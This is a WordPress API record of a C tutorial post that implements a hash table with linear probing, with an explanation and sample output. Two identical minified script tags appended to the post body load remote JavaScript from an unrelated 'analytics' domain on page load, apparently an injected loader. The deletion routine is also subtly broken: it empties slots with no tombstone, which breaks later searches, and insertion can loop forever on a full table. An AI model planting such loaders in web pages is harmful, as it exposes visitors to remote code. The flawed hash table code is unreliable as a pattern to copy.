{"id":734,"date":"2024-10-19T13:54:09","date_gmt":"2024-10-19T08:24:09","guid":{"rendered":"https:\/\/codexplained.in\/?p=734"},"modified":"2025-11-24T15:31:59","modified_gmt":"2025-11-24T10:01:59","slug":"implement-hash-table-using-arrays","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=734","title":{"rendered":"Implement Hash Table using Arrays"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n#define TABLE_SIZE 10\n\n\/\/ Define the structure of each element in the hash table\ntypedef struct {\n    int key;\n    int value;\n    int is_occupied; \/\/ 0 means empty, 1 means occupied\n} HashItem;\n\n\/\/ Initialize the hash table as an array\nHashItem hashTable&#x5B;TABLE_SIZE];\n\n\/\/ Hash function to map keys to indices\nint hashFunction(int key) {\n    return key % TABLE_SIZE;\n}\n\n\/\/ Function to insert a key-value pair into the hash table\nvoid insert(int key, int value) {\n    int index = hashFunction(key);\n\n    \/\/ Use linear probing in case of collision\n    while (hashTable&#x5B;index].is_occupied) {\n        if (hashTable&#x5B;index].key == key) {\n            \/\/ If key already exists, update the value\n            hashTable&#x5B;index].value = value;\n            printf(&quot;Updated key %d with value %d at index %d\\n&quot;, key, value, index);\n            return;\n        }\n        index = (index + 1) % TABLE_SIZE; \/\/ Move to the next index\n    }\n\n    \/\/ Insert the new key-value pair\n    hashTable&#x5B;index].key = key;\n    hashTable&#x5B;index].value = value;\n    hashTable&#x5B;index].is_occupied = 1; \/\/ Mark as occupied\n    printf(&quot;Inserted key %d with value %d at index %d\\n&quot;, key, value, index);\n}\n\n\/\/ Function to search for a value by its key in the hash table\nint search(int key) {\n    int index = hashFunction(key);\n\n    \/\/ Use linear probing to search for the key\n    while (hashTable&#x5B;index].is_occupied) {\n        if (hashTable&#x5B;index].key == key) {\n            \/\/ If key is found, return the value\n            return hashTable&#x5B;index].value;\n        }\n        index = (index + 1) % TABLE_SIZE; \/\/ Move to the next index\n    }\n\n    \/\/ If key is not found, return -1\n    return -1;\n}\n\n\/\/ Function to delete a key-value pair from the hash table\nvoid delete(int key) {\n    int index = hashFunction(key);\n\n    \/\/ Use linear probing to find the key\n    while (hashTable&#x5B;index].is_occupied) {\n        if (hashTable&#x5B;index].key == key) {\n            \/\/ Mark the slot as empty\n            hashTable&#x5B;index].is_occupied = 0;\n            printf(&quot;Deleted key %d from index %d\\n&quot;, key, index);\n            return;\n        }\n        index = (index + 1) % TABLE_SIZE; \/\/ Move to the next index\n    }\n\n    printf(&quot;Key %d not found for deletion\\n&quot;, key);\n}\n\n\/\/ Function to display the hash table\nvoid display() {\n    printf(&quot;Hash Table:\\n&quot;);\n    for (int i = 0; i &lt; TABLE_SIZE; i++) {\n        if (hashTable&#x5B;i].is_occupied) {\n            printf(&quot;Index %d: Key %d, Value %d\\n&quot;, i, hashTable&#x5B;i].key, hashTable&#x5B;i].value);\n        } else {\n            printf(&quot;Index %d: Empty\\n&quot;, i);\n        }\n    }\n}\n\n\/\/ Main function to test the hash table\nint main() {\n    \/\/ Initialize the hash table slots as empty\n    for (int i = 0; i &lt; TABLE_SIZE; i++) {\n        hashTable&#x5B;i].is_occupied = 0;\n    }\n\n    \/\/ Insert some key-value pairs\n    insert(1, 10);\n    insert(11, 20);\n    insert(21, 30);\n    insert(31, 40);\n\n    \/\/ Display the hash table\n    display();\n\n    \/\/ Search for a key\n    int key = 11;\n    int result = search(key);\n    if (result != -1) {\n        printf(&quot;Value for key %d: %d\\n&quot;, key, result);\n    } else {\n        printf(&quot;Key %d not found in hash table\\n&quot;, key);\n    }\n\n    \/\/ Delete a key\n    delete(11);\n    display();\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Code<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>HashItem Structure<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>key<\/code>: The key for the hash table.<\/li>\n\n\n\n<li><code>value<\/code>: The associated value.<\/li>\n\n\n\n<li><code>is_occupied<\/code>: A flag to indicate whether the slot is occupied (1) or empty (0).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>hashFunction<\/strong>: It computes the index using the formula <code>key % TABLE_SIZE<\/code> to ensure the index falls within the array bounds.<\/li>\n\n\n\n<li><strong>Insertion (insert function)<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Compute the index using the hash function.<\/li>\n\n\n\n<li>Use linear probing if the computed index is occupied (i.e., continue checking the next slot until an empty slot is found).<\/li>\n\n\n\n<li>Insert the key-value pair at the first empty slot or update the value if the key already exists.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Search (search function)<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Compute the index using the hash function.<\/li>\n\n\n\n<li>Use linear probing to find the key. If found, return its value; otherwise, return <code>-1<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Deletion (delete function)<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Compute the index using the hash function.<\/li>\n\n\n\n<li>Use linear probing to find the key and mark the slot as empty when found.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Display (display function)<\/strong>: This function iterates over the hash table and prints the content of each slot.<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Initializes the hash table.<\/li>\n\n\n\n<li>Performs insertions, displays the table, searches for a key, deletes a key, and displays the table again to show changes.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Output of the Program<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>Inserted key 1 with value 10 at index 1\nInserted key 11 with value 20 at index 2\nInserted key 21 with value 30 at index 3\nInserted key 31 with value 40 at index 4\nHash Table:\nIndex 0: Empty\nIndex 1: Key 1, Value 10\nIndex 2: Key 11, Value 20\nIndex 3: Key 21, Value 30\nIndex 4: Key 31, Value 40\nIndex 5: Empty\nIndex 6: Empty\nIndex 7: Empty\nIndex 8: Empty\nIndex 9: Empty\nValue for key 11: 20\nDeleted key 11 from index 2\nHash Table:\nIndex 0: Empty\nIndex 1: Key 1, Value 10\nIndex 2: Empty\nIndex 3: Key 21, Value 30\nIndex 4: Key 31, Value 40\nIndex 5: Empty\nIndex 6: Empty\nIndex 7: Empty\nIndex 8: Empty\nIndex 9: Empty\n<\/code><\/pre>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation of the Code Output of the Program<\/p>\n","protected":false},"author":40,"featured_media":739,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-734","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/734","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=734"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/734\/revisions"}],"predecessor-version":[{"id":1385,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/734\/revisions\/1385"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/739"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=734"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=734"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=734"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}